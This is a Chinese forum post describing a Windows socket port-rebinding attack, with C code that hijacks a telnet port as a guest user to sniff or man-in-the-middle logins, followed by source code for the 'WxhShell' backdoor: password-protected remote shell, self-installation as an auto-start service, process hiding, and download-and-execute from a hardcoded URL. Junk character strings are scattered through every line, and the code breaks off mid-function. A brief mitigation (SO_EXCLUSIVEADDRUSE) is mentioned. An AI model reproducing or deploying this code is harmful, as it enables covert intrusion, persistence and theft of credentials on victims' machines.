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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z .lb(xQ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SMvlEj^  
T>| +cg  
  saddr.sin_family = AF_INET; nILUo2e~  
6+sz4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |vi=h2*  
v2|zIZ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }!g$k $y  
4-O.i\1q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~DLxIe  
r(]Gd`]  
  这意味着什么?意味着可以进行如下的攻击: U;&s=M0[  
;Qd'G7+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 XPYf1H  
lN.&46 e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) F\+9u$=  
=[4C[s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z@[n?t!7k  
*mWS+xcU(L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \U]<HEc^  
[HXd|,~_j-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 El`G<esX  
S@\&^1;4Hv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 un6W|{4]  
!G;BYr>X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2QHu8mFU  
k="w EZ;Q  
  #include <c`,fd8  
  #include _z^&zuO  
  #include ^CwS'/fdN  
  #include     Z1H  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =w7k@[Bq  
  int main() >taT V_,  
  { R{4[.  
  WORD wVersionRequested; v]drDVJ   
  DWORD ret; yaj1nq! *"  
  WSADATA wsaData; w2"]%WS%  
  BOOL val; A}!D&s&UH  
  SOCKADDR_IN saddr; i/N68  
  SOCKADDR_IN scaddr; H_JT"~_2  
  int err; }LBrk0]  
  SOCKET s; UL8"{-`_\  
  SOCKET sc; "(F:'J} X  
  int caddsize; qB3& F pgW  
  HANDLE mt; ({rescQB  
  DWORD tid;   TAM`i3{D  
  wVersionRequested = MAKEWORD( 2, 2 ); 0J)VEMC  
  err = WSAStartup( wVersionRequested, &wsaData ); aj+I+r"~  
  if ( err != 0 ) { '\7&Iz:%  
  printf("error!WSAStartup failed!\n"); A- hWg;  
  return -1; mnMY)-6C  
  } 6l?KX  
  saddr.sin_family = AF_INET; >*w(YB]/$V  
   d cht8nX7~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5PHAd4=bJ  
Wm58[;%LTw  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9hwn,=Vh)  
  saddr.sin_port = htons(23); 9NC6q-2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j|% C?N  
  { `Oi6o[a  
  printf("error!socket failed!\n"); n@e|PWu  
  return -1; $/i;UUd  
  } doe u`  
  val = TRUE; ( (mNB]sy  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6v -2(Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9/GC8*+  
  {  - zEQ/6  
  printf("error!setsockopt failed!\n"); W$Z""  
  return -1; g|3FJA/  
  } zQ eXN7$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @h\u}Ee  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zI>,A|yy  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 CI?M2\<g  
8>^O]5Wo`X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _Ai\XS Am  
  { tdRnRoB  
  ret=GetLastError(); 5E|/n(  
  printf("error!bind failed!\n"); 5@Lz4 `  
  return -1; +Y^/0=6h  
  } 0/%VejZ'  
  listen(s,2); R75np^  
  while(1) Yg7C"3;Vt  
  { XAr YmO  
  caddsize = sizeof(scaddr); r`'n3#O*  
  //接受连接请求 zTt6L6:u  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z+@Jx~<i  
  if(sc!=INVALID_SOCKET) B8G1 #V_jK  
  { mm<rdo(`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?To r)>A'  
  if(mt==NULL) \xaK?_hv  
  { l7JY`x  
  printf("Thread Creat Failed!\n"); g TP0:  
  break; aq,?  
  } RnkrI~x  
  } xBcE>^{1.  
  CloseHandle(mt); [<{+tAdn)  
  } '.DFyHsq  
  closesocket(s); ~lLIq!!\  
  WSACleanup(); ugt|'i  
  return 0; }" 'l8t0?  
  }   {*PB+WGe  
  DWORD WINAPI ClientThread(LPVOID lpParam) -z4pI=  
  { S(*SUH  
  SOCKET ss = (SOCKET)lpParam; pEE.%U  
  SOCKET sc; gg%OOvaj5  
  unsigned char buf[4096]; _gF )aE  
  SOCKADDR_IN saddr; Dos`lh  
  long num; pTJJ.#$CEF  
  DWORD val; {)0"?$C_H  
  DWORD ret; t1YVE%`w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "M.vu}~>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ] T! >]  
  saddr.sin_family = AF_INET; vN%SN>=L<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5)GO  
  saddr.sin_port = htons(23); uN1O(s  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wf=D'6w  
  { F|XRh6j  
  printf("error!socket failed!\n"); ^i^/d#  
  return -1; y++[:M  
  } E(oI0*S.5  
  val = 100; IPoNAi<b  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +mN]VO*y  
  { Vn6g(:\w  
  ret = GetLastError(); _$?SKid|o  
  return -1; yb#NB)+E@  
  } O#E]a<N`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !$x9s'D  
  { N(W ;(7  
  ret = GetLastError(); 0BM3:]=wr  
  return -1; 7N / v  
  } a 8Jn.!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %klC& _g~_  
  { k!K}<sX2  
  printf("error!socket connect failed!\n"); @""aNKA^r>  
  closesocket(sc); R*D0A@  
  closesocket(ss); $4y;F]  
  return -1; Ax4nx!W,   
  } jd|? aK;(  
  while(1) 1O0o18'  
  { Ms.1RCup  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8M;VX3X  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 HgP9evz,0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  `k/hC  
  num = recv(ss,buf,4096,0); F`;oe[wfk  
  if(num>0) cbD&tsF  
  send(sc,buf,num,0); xZ} 1dq8  
  else if(num==0) t8,s]I&  
  break; y_:i'Ri.  
  num = recv(sc,buf,4096,0); *4;MO2g  
  if(num>0) Q"KD O-t  
  send(ss,buf,num,0); mYf7?I~  
  else if(num==0) x8xSA*@k  
  break; =l TV2C<  
  } )pV5l|`  
  closesocket(ss); sXdNlR&  
  closesocket(sc); rYbb&z!u  
  return 0 ; }u0t i"V  
  } y{ReQn3> y  
\-Mzs 0R  
^b=9{.5  
========================================================== )2KQZMtgm]  
sHx>UvN6  
下边附上一个代码,,WXhSHELL !fXwX3B  
i>w'$ {  
========================================================== lL.3$Rp;  
&o>ctf.x  
#include "stdafx.h" $IzhaX  
:<l(l\MC  
#include <stdio.h> a%a_sR\)  
#include <string.h> (a0q*iC%  
#include <windows.h> yES+0D5<  
#include <winsock2.h> X(nbfh?n  
#include <winsvc.h> Z?yMy zT  
#include <urlmon.h> :uE:mY%R  
?z>7&  
#pragma comment (lib, "Ws2_32.lib") @Omgk=6  
#pragma comment (lib, "urlmon.lib") RM8p[lfX  
7/nnl0u8  
#define MAX_USER   100 // 最大客户端连接数 8.4 1EKr2  
#define BUF_SOCK   200 // sock buffer al<[iZ  
#define KEY_BUFF   255 // 输入 buffer `wRQ-<Y  
{//;GC*  
#define REBOOT     0   // 重启 @C]]VE  
#define SHUTDOWN   1   // 关机 f$Fa*O-  
bjvpYZC\5  
#define DEF_PORT   5000 // 监听端口 R0dIxG%  
`NqX{26GV+  
#define REG_LEN     16   // 注册表键长度 ))Ws{  
#define SVC_LEN     80   // NT服务名长度 *"4d6  
8zv=@`4@G  
// 从dll定义API 34ij5bko_)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QJ2V&t"3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y)*5M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q@B--Omfh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $^|I?5xD  
+DMD g.  
// wxhshell配置信息 vK\n4mE[,  
struct WSCFG { 6%  +s`  
  int ws_port;         // 监听端口 DA'A-C2  
  char ws_passstr[REG_LEN]; // 口令 Hgs=qH  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,MkldCV  
  char ws_regname[REG_LEN]; // 注册表键名 u2=gG.  
  char ws_svcname[REG_LEN]; // 服务名 rO8Q||@>A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Rv R ,V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2n}nRv/'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )aY^k|I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H"hL+F^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0Y7b$~n'Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 axT-  
8SmtEV[b3  
}; (ATvH_Z  
_2*Ryz  
// default Wxhshell configuration a o_A %?Ld  
struct WSCFG wscfg={DEF_PORT, 2w>l nJ-  
    "xuhuanlingzhe", 3fC|}<Wzt  
    1, mQ#E{{:H+  
    "Wxhshell", /9/svPc]  
    "Wxhshell", X ?p_O2#k  
            "WxhShell Service", {)^P_zha[9  
    "Wrsky Windows CmdShell Service", .eQIU$Kw!O  
    "Please Input Your Password: ", >?b<)Q*<  
  1, 9d ZE#l!Q  
  "http://www.wrsky.com/wxhshell.exe", AEx|<E0  
  "Wxhshell.exe" YXC?q  
    }; ,>-Q#  
[H#*#v  
// 消息定义模块 "]BefvE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b}P5*}$:9"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QW ~-+BD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pPztUz/.  
char *msg_ws_ext="\n\rExit."; VKa-  
char *msg_ws_end="\n\rQuit."; \L14rQ t  
char *msg_ws_boot="\n\rReboot..."; qK ,mG {  
char *msg_ws_poff="\n\rShutdown..."; $)OUOv  
char *msg_ws_down="\n\rSave to "; gR `:)>  
=6#tJgg8  
char *msg_ws_err="\n\rErr!"; W!a~ #R/r-  
char *msg_ws_ok="\n\rOK!"; s }P-4Sg  
6MC*2}W  
char ExeFile[MAX_PATH]; 6km{= ```  
int nUser = 0; -"L)<J@gQ?  
HANDLE handles[MAX_USER]; =m@5$  
int OsIsNt; kqYvd]ss  
B!jINOg  
SERVICE_STATUS       serviceStatus; 5- Q`v/w;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^'8T9N@U  
*qcL(] Yq  
// 函数声明 0 `X%&  
int Install(void); ,j~ R ^j  
int Uninstall(void); -C$Z%I7 0  
int DownloadFile(char *sURL, SOCKET wsh); _`!@  
int Boot(int flag); <@C Bc:j0  
void HideProc(void); qlUYu"`i  
int GetOsVer(void); g;(r@>U.r  
int Wxhshell(SOCKET wsl); W%]sI n  
void TalkWithClient(void *cs); ZIAiVq2)  
int CmdShell(SOCKET sock); HF-Msu6  
int StartFromService(void); 4%WV)lt  
int StartWxhshell(LPSTR lpCmdLine); nbYkr*: "t  
2aUz.k8o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =+gp~RR,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t" 1'B!4  
t#|E.G:=  
// 数据结构和表定义 JWG7QH  
SERVICE_TABLE_ENTRY DispatchTable[] = 3 uwZ#   
{ N}\Da: _  
{wscfg.ws_svcname, NTServiceMain}, maLJ M\C  
{NULL, NULL} `$`:PT\Zv4  
}; N$ZThZqqv  
x+5Q}ux'G  
// 自我安装 Ms ?V1  
int Install(void) zTY|Z@:  
{ {Ny\9r  
  char svExeFile[MAX_PATH]; G?QFF6)}!  
  HKEY key; HSx~Fs^J  
  strcpy(svExeFile,ExeFile); 6<H[1PI`,G  
vII&v+C  
// 如果是win9x系统,修改注册表设为自启动 G*BM'^0+  
if(!OsIsNt) { UQ>GAzh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @.kv",[{[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :5?ti  
  RegCloseKey(key); vnz.81OR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G;Y,C<)0k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '2]u{rr~+  
  RegCloseKey(key); }eb%"ZH4|  
  return 0; BmrP]3W?  
    } +nd'Uf   
  } ?w# >Cs(  
}  wB5zp  
else { oKt<s+r  
Hi|2z5=V  
// 如果是NT以上系统,安装为系统服务  -/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Nl_!%k:  
if (schSCManager!=0) D4'? V Iz  
{ fokT)nf~^8  
  SC_HANDLE schService = CreateService RYE::[O7  
  ( mkBQX  
  schSCManager, zx-+u7qKH  
  wscfg.ws_svcname, i*_KHK  
  wscfg.ws_svcdisp, C4Z~9fzT  
  SERVICE_ALL_ACCESS, { r&M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n{BC m %  
  SERVICE_AUTO_START, 3N+P~v)T'  
  SERVICE_ERROR_NORMAL, RW(AjDM  
  svExeFile, 77i |a]Kd  
  NULL, RMC|(Q<  
  NULL, S$+ v?Y`)  
  NULL, FZ=6x}QZ  
  NULL, !+ uMH!  
  NULL )SA$hwR  
  ); A ws#>l<  
  if (schService!=0) 1AE/ILGo  
  { hQL9 Zl~  
  CloseServiceHandle(schService); XOqpys  
  CloseServiceHandle(schSCManager); m9G,%]4|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lR.a3.~  
  strcat(svExeFile,wscfg.ws_svcname); ynOp7ZN$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z~?:r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c+a f=ac  
  RegCloseKey(key); n[4Nu`E9  
  return 0; @O45s\4-*  
    } +=k?Dp[  
  } klf<=V  
  CloseServiceHandle(schSCManager); MT6kJDyLu  
} ZC2C`S\xr  
} |Y'$+[TE  
r`;C9#jZ  
return 1; ,x Tbt4J  
} =fsaJ@q ,R  
21o_9=[^  
// 自我卸载 }qKeX4\-  
int Uninstall(void) \B}W(^\wg;  
{ QK?5)[ J  
  HKEY key; =k$d8g ez  
~JZ Lfw  
if(!OsIsNt) { 6\TstY3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'nT#3/rL  
  RegDeleteValue(key,wscfg.ws_regname); %x927I>  
  RegCloseKey(key); 19N:9;Ixz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cEqh|Q  
  RegDeleteValue(key,wscfg.ws_regname); %eV`};9  
  RegCloseKey(key); i;xg[e8.  
  return 0; x.^vWka(  
  } ^m+W  
} =d5!O~}r>  
} gx6&'${=#  
else { aJ}sYf^  
N)!v-z,k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4O`h%`M  
if (schSCManager!=0) }cPV_^{  
{ AN%.LK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^=W&p%Y(!  
  if (schService!=0) :9`1bZ?a  
  { IWWFl6$-  
  if(DeleteService(schService)!=0) { k9n  
  CloseServiceHandle(schService); \6'A^cE/PX  
  CloseServiceHandle(schSCManager); ib&qH_r/  
  return 0; xaS  
  } v'>Yc#VJ  
  CloseServiceHandle(schService); E, v1F!  
  } = ]@xXVf/  
  CloseServiceHandle(schSCManager); )/ZSb1!  
} ZF t^q /pw  
} 3LxJ}>]TO  
}O>Zu[8a  
return 1; ;VuB8cnL`  
} os.x|R]_  
9Ac t<( V  
// 从指定url下载文件 :RQ[(zD]  
int DownloadFile(char *sURL, SOCKET wsh) MMAC,4  
{ IW1\vfe  
  HRESULT hr; P X0#X=$  
char seps[]= "/"; }dHiW:J>  
char *token; u#,]>;  
char *file; 4bBxZY  
char myURL[MAX_PATH]; :3t])mL#   
char myFILE[MAX_PATH]; h0eo:Ahi  
m2! 7M%]GC  
strcpy(myURL,sURL); TkBBHg;  
  token=strtok(myURL,seps); y2U:( H:l!  
  while(token!=NULL) ?qbp  
  { ^~aSrREo  
    file=token; |pgkl`  
  token=strtok(NULL,seps); :L[6a>"neE  
  } mTPj@F>  
CHU'FSq!  
GetCurrentDirectory(MAX_PATH,myFILE); **q/'K  
strcat(myFILE, "\\"); %PS-nF7v  
strcat(myFILE, file); PGKXzp'  
  send(wsh,myFILE,strlen(myFILE),0); 1A)~Y   
send(wsh,"...",3,0); uUe\[-~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G8s`<:9*  
  if(hr==S_OK) #K l2K4  
return 0; +o3g]0  
else z3C^L  
return 1; ul?BKV+3E  
'=H^m D+gl  
} #TgJ d  
p~.@8r(  
// 系统电源模块 <e^/hR4O  
int Boot(int flag) DPwSg\*)  
{ #'8PFw\zw  
  HANDLE hToken; SIl g  
  TOKEN_PRIVILEGES tkp; BQU5[8l  
K_5&_P1  
  if(OsIsNt) { IebS~N E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5);#\&B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JqUVGEg  
    tkp.PrivilegeCount = 1; X w8i l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H5s85"U#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x/7G0K2\}  
if(flag==REBOOT) { 6.|~~/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LU{Z  
  return 0; ]~^/w}(K  
} 8UIL_nPO  
else { s=TjM?)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -T?IkL)  
  return 0; $dP)8_Z2  
} z6lz*%Yi  
  } j;v%4G  
  else { [hL1 PWKs  
if(flag==REBOOT) { i .N1Cvp&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !_9$[Oq~  
  return 0; )DmiN^:  
} B@]7eVo  
else { `I8^QcP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q:gn>/  
  return 0; }$U[5wL,_  
} 'j_H{kQy  
} SR& mHI-f0  
pQ 6#L  
return 1; `t1$Ew<  
} b8.%?_?  
YfwJBz D  
// win9x进程隐藏模块 0s|LK  
void HideProc(void) -;\+uV  
{ QYgN39gp  
mi<D bnou  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \+3Wd$I  
  if ( hKernel != NULL ) -o_T C  
  { tb0E?&M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CFm1c1%Hg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HY4E  
    FreeLibrary(hKernel); F2$bUY  
  }  <%D"eD  
CS\tCw\Y  
return; qffSq](D.  
} f_!`~`04  
ig}e@]  
// 获取操作系统版本 A+*oT(`  
int GetOsVer(void) E`fssd~  
{ r0deBRM  
  OSVERSIONINFO winfo; aT!9W'uY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B  bw1k  
  GetVersionEx(&winfo); SECQVA_y`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5TneuGD  
  return 1; 1[BvHOI2  
  else g>xUS_d>  
  return 0; '$XHRS/q]  
} R.H\b!  
b8Rh|"J)d  
// 客户端句柄模块 : W^\ mH  
int Wxhshell(SOCKET wsl) J7ekIQgR  
{ SMO%sZ]  
  SOCKET wsh; 2 dD<]  
  struct sockaddr_in client; A dEbyL  
  DWORD myID; @JEmybu  
CQHp4_  
  while(nUser<MAX_USER) PdH`_/6  
{ "&#W Mi  
  int nSize=sizeof(client); d^5SeCs6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |3:=qpT-  
  if(wsh==INVALID_SOCKET) return 1; >&vO4L  
r!$NZ2I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mBZ Dl4 '  
if(handles[nUser]==0) "QO/Jls  
  closesocket(wsh); O*03PF^  
else S@xsAib0J  
  nUser++; pLQSG}N  
  } )L<?g !j~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z4AAg  
//M4Sq(  
  return 0; :aq>  
} /QXs-T}d  
mvA xx`jc  
// 关闭 socket *:T>~ilF  
void CloseIt(SOCKET wsh) 4@]xn  
{ ?>.g;3E$  
closesocket(wsh); 9LEilmPs  
nUser--; j]B $(pt  
ExitThread(0); boF4d'g"  
} {9Mdt`WL  
"h^#<bPN  
// 客户端请求句柄 dA)4(0o8fD  
void TalkWithClient(void *cs) UW/3{2  
{ Ac!&j=ZE  
gLaO#cQ%  
  SOCKET wsh=(SOCKET)cs; =3sldKL&F  
  char pwd[SVC_LEN]; HCjn9  
  char cmd[KEY_BUFF]; |/\U^AHm"h  
char chr[1]; j t`p<gI  
int i,j; 7#9'2dI  
380->  
  while (nUser < MAX_USER) { # 5f|1O  
(Cl`+ V  
if(wscfg.ws_passstr) { `,-hG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); " T a9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  LbV]JP  
  //ZeroMemory(pwd,KEY_BUFF); %V%#y $l  
      i=0; ,-7/]h,l  
  while(i<SVC_LEN) { OHP3T(Q5  
{|5$1v   
  // 设置超时 ?]\W8)  
  fd_set FdRead; < k+fKl  
  struct timeval TimeOut; QK?2E   
  FD_ZERO(&FdRead); f_4S>C$  
  FD_SET(wsh,&FdRead); Y!a+#N!  
  TimeOut.tv_sec=8; a0?iR5\  
  TimeOut.tv_usec=0; t$y&=v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q3x;_y^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q}Ze-JIL$  
XJJ[F|k~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V^ fGRA  
  pwd=chr[0]; {FJX  
  if(chr[0]==0xd || chr[0]==0xa) { M8?#%x6;N  
  pwd=0; urrO1  
  break; XY!{g(  
  } _ 7BF+*T  
  i++; nG},v%  
    } :n+y/6 *  
$ o5V$N D  
  // 如果是非法用户,关闭 socket @7Rt4}g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vz yNc'  
} urT/+deR  
oBRm\8 2|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8tV=fSHd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EFRZ% Y  
B;z>Dd,Y_x  
while(1) { #0?"J)  
8g[ (nxI~  
  ZeroMemory(cmd,KEY_BUFF); 7#Uz*G\iZ  
hB P$9GR  
      // 自动支持客户端 telnet标准   C`2*2Y%xkG  
  j=0; IYfV~+P  
  while(j<KEY_BUFF) { $_ix6z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B_."?*|w  
  cmd[j]=chr[0]; NoJnchiU  
  if(chr[0]==0xa || chr[0]==0xd) { .Yu<%  
  cmd[j]=0; s`Yu"s 8}4  
  break; iJ`%yg,  
  } qXrt0s[  
  j++; #JL&]Z+X6  
    } _'!N q  
L876$  
  // 下载文件 $ ] W[y=  
  if(strstr(cmd,"http://")) { hF{x')(#l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jU]]:S4xD/  
  if(DownloadFile(cmd,wsh)) `P^u:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sl. KLc@@  
  else Vq3]7l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gg=aK~q6  
  } KFTf~!|  
  else { _[}G(<  
$PatHY@h  
    switch(cmd[0]) { 'w`SBYQ5  
  ~t{D5#LVHa  
  // 帮助 9{)Z5%Kz  
  case '?': { lL:KaQ0E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A~6%,q@^jh  
    break; Qb!!J4| !  
  } i7S>RB  
  // 安装 .)i O Du  
  case 'i': { +=ZWau   
    if(Install()) aW0u8Dz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RNv{n mf  
    else Iz6ss(UJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U8-Q'1IT&  
    break; gt =j5  
    } XGE 2J  
  // 卸载 xb4Pt`x)rS  
  case 'r': { ]> nPqL  
    if(Uninstall()) |MTpU@`p5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &K5C=]4  
    else Y%78>-2 L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y 2z{rd  
    break; wXr>p)mP  
    } aL8p"iSG9  
  // 显示 wxhshell 所在路径 zyaW3th  
  case 'p': { |rr$U  
    char svExeFile[MAX_PATH]; snXB`U C  
    strcpy(svExeFile,"\n\r"); 5z1\#" B[  
      strcat(svExeFile,ExeFile); ~A8qeaP  
        send(wsh,svExeFile,strlen(svExeFile),0); ZhhI@_sz  
    break; zW%>"y  
    } 7))y}N:p  
  // 重启 ;\<""Yj@l  
  case 'b': { 8O~0RYk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ho|o,XvLv  
    if(Boot(REBOOT)) <\ y!3;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,9=gVW{  
    else { kcLj Kp  
    closesocket(wsh); Ap11b|v  
    ExitThread(0); `+roQX.p  
    } ~'NX~<m  
    break; Oq*n9V  
    } #$LH2?)  
  // 关机 rlR !&  
  case 'd': { xLA~1ZSVJw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nYOY"'z  
    if(Boot(SHUTDOWN)) +J"'  'cZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n4^~gT%b5]  
